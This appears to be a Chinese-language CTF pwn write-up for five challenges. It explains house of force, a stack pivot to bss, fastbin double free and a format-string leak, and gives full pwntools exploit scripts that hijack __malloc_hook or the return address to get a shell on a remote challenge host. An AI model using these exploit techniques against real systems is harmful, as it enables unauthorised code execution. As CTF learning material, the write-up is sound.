force 标准的house of force,先申请较大的内存页,可泄露出libc基址, 然后申请较小堆块,溢出修改top chunk的size为0xffffffffffffffff,申请堆块到__malloc_hook附近,这里用onegadget,不满足条件,可修改为system函数,然后申请”/bin/sh”所在地址的堆块,即可getshell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import * context.log_level = 'debug' offset = 0x4ff010#0x4aa010#0x4ec010# while True: 	warn(hex(offset)) 	try:     	    p = process('./pwn') 	    #p = remote('123.56.85.29',7147) 	    def add(size,content): 	        p.sendlineafter('1:','1') 	        p.sendlineafter('size',str(size)) 	        p.recvuntil('addr ') 	        addr = int(p.recvuntil('\n',drop = True),16) 	        p.sendafter('content',content) 	        return addr 	    chunk1 = add(0x100000,'aaaa') 	    info(hex(chunk1)) 	    libc = chunk1 - offset 	    info(hex(libc)) 	    chunk2 = add(0x28,'\xff'*0x30)+0x20 	    info(hex(chunk2)) 	    mallochook = libc+0x3c4b10 	    chunk3 = add(mallochook-chunk2-0x20,'bbbb') 	    chunk4 = add(0x20,p64(libc+0x45390)*4) 	    #gdb.attach(p) 	    #pause() 	    p.sendlineafter('1:','1') 	    p.sendafter('size',str(libc+0x18cd57)) 	    print(p.recv()) 	    p.interactive() 	     	except Exception as e: 	    offset-=0x1000 	    p.close() 	    pass 
 
BorrowStack 栈溢出0x10字节,栈迁移到bss段后,构造rop链。 需要注意的是,要尽量迁移到距离bss段更远的地址,为了防止bss段上面的got表被修改。 因为在调用函数时,栈由高地址向低地址生长,可能会修改到got表里面的内容。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import * import sys context.log_level = 'debug' def pwn(): 	offest=152 	#while (1): 	try: 		if sys.argv[1]=="l": 			p=process('./pwn') 			libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') 		else: 			p=remote('123.56.85.29',3635) 			libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') 		elf=ELF('./pwn') 		bss_addr=0x601080 		p.recvuntil('\n') 		#gdb.attach(p, "b *0x400680") 		payload='a'*0x60+p64(bss_addr+offest)+p64(0x400699) 		p.send(payload) 		p.recvuntil('\n') 		payload = 'b'*offest+p64(bss_addr+offest)+p64(0x400703)+p64(elf.got["read"])+p64(elf.sym["puts"])+p64(0x400626) 		p.send(payload) 		leak=u64(p.recv(6).ljust(8,'\x00')) 		libc_addr=leak-libc.sym["read"] 		p.recvuntil('Tell me what you want\n') 		payload='a'*0x60+p64(0)+p64(libc_addr+0x4526a) 		 		p.send(payload) 		p.recvuntil('\n') 		payload='b'*0x10 		p.send(payload) 		print offest 		pause() 		p.interactive() 		#p.close() 	except: 		offest=offest+1 pwn() 
 
Some_thing_exceting flag已经被写到bss段内,用double free漏洞申请堆块到bss段,然后输出堆块内容即可。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import * import sys context.log_level = 'debug' if sys.argv[1]=="l": 	p=process('./excited') 	libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') else: 	p=remote('123.56.85.29',6484) 	libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') e=ELF('./excited') def show(index): 	p.recvuntil('to do :') 	p.sendline('4') 	p.recvuntil(': ') 	p.sendline(str(index)) def new(lenght,cont,lenght2,cont2): 	p.recvuntil('to do :') 	p.sendline('1') 	p.recvuntil(': ') 	p.sendline(str(lenght)) 	p.recvuntil(': ') 	p.sendline(cont) 	p.recvuntil(': ') 	p.sendline(str(lenght2)) 	p.recvuntil(': ') 	p.sendline(cont2) def delete(num): 	p.recvuntil('to do :') 	p.sendline('3') 	p.recvuntil(': ') 	p.sendline(str(num)) new(0x60,'a'*0x8,0x50,'\x10'*0x8) new(0x60,'b'*0x8,0x50,'\x11'*0x8) new(0x60,'c'*0x8,0x50,'\x12'*0x8) delete(0) delete(1) delete(0) bss_addr=0x6020A8 new(0x50,p64(bss_addr-0x10),0x50,'\x14'*4) new(0x50,'\x16'*4,0x50,'\x17'*1) show(1) print p.recv() p.interactive() 
 
Some_thing_interesting 格式化字符漏洞泄露libc基址,然后double free修改malloc_hook为onegadget
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import * import sys context.log_level = 'debug' if sys.argv[1]=="l": 	p=process('./interested') 	libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') else: 	p=remote('123.56.85.29',3041) 	libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') e=ELF('./interested') def show(index): 	p.recvuntil('to do :') 	p.sendline('4') 	p.recvuntil(': ') 	p.sendline(str(index)) def new(lenght,cont,lenght2,cont2): 	p.recvuntil('to do :') 	p.sendline('1') 	p.recvuntil(': ') 	p.sendline(str(lenght)) 	p.recvuntil(': ') 	p.sendline(cont) 	p.recvuntil(': ') 	p.sendline(str(lenght2)) 	p.recvuntil(': ') 	p.sendline(cont2) def edit(index,cont,cont2): 	p.recvuntil('to do :') 	p.sendline('2') 	p.recvuntil(': ') 	p.sendline(str(index)) 	p.recvuntil(': ') 	p.sendline(cont) 	p.recvuntil(': ') 	p.sendline(cont2) def check(): 	p.recvuntil('to do :') 	p.sendline('0') 	#info(p.recv(49)) 	#leak=int(p.recv(12),16) 	p.recvline() 	leak=int(p.recvline()[31:43],16) 	print hex(leak) 	pause() 	return leak def delete(num): 	p.recvuntil('to do :') 	p.sendline('3') 	p.recvuntil(': ') 	p.sendline(str(num)) p.recvuntil(":") p.send('OreOOrereOOreO%17$p') libc_addr=check()-0x20830 new(0x40,'a'*0x8,0x60,'\x10'*0x8) #1 new(0x40,'b'*0x8,0x60,'\x11'*0x8) #2 new(0x40,'c'*0x8,0x60,'\x12'*0x8) #3 delete(1) delete(2) delete(1) new(0x60,p64(libc_addr+libc.sym["__malloc_hook"]-0x23),0x60,'\x14'*4) new(0x60,'\x16'*4,0x60,'\x1f'*0x13+p64(libc_addr+0xf1147)) #gdb.attach(p) pause() p.recvuntil('to do :') p.sendline('1') p.recvuntil(': ') p.sendline(str(0x60)) p.interactive() 
 
BFnote 一个栈溢出,然后在bss上写值,申请任意大小的chunk,以chunk为基址进行任意偏移写
栈溢出被canary拦住了,预期解是通过申请很大的chunk,会mmap到libc附近地址,接着通过偏移改写TLS中的canary,接着就是常规ROP的操作了,可以ret2dlresolve,也可以爆破1/4096直接改写got表为system,调用即可。还看到了另一位师傅的wp,使用mprotect改bss可执行,写入shellcode就行了
exp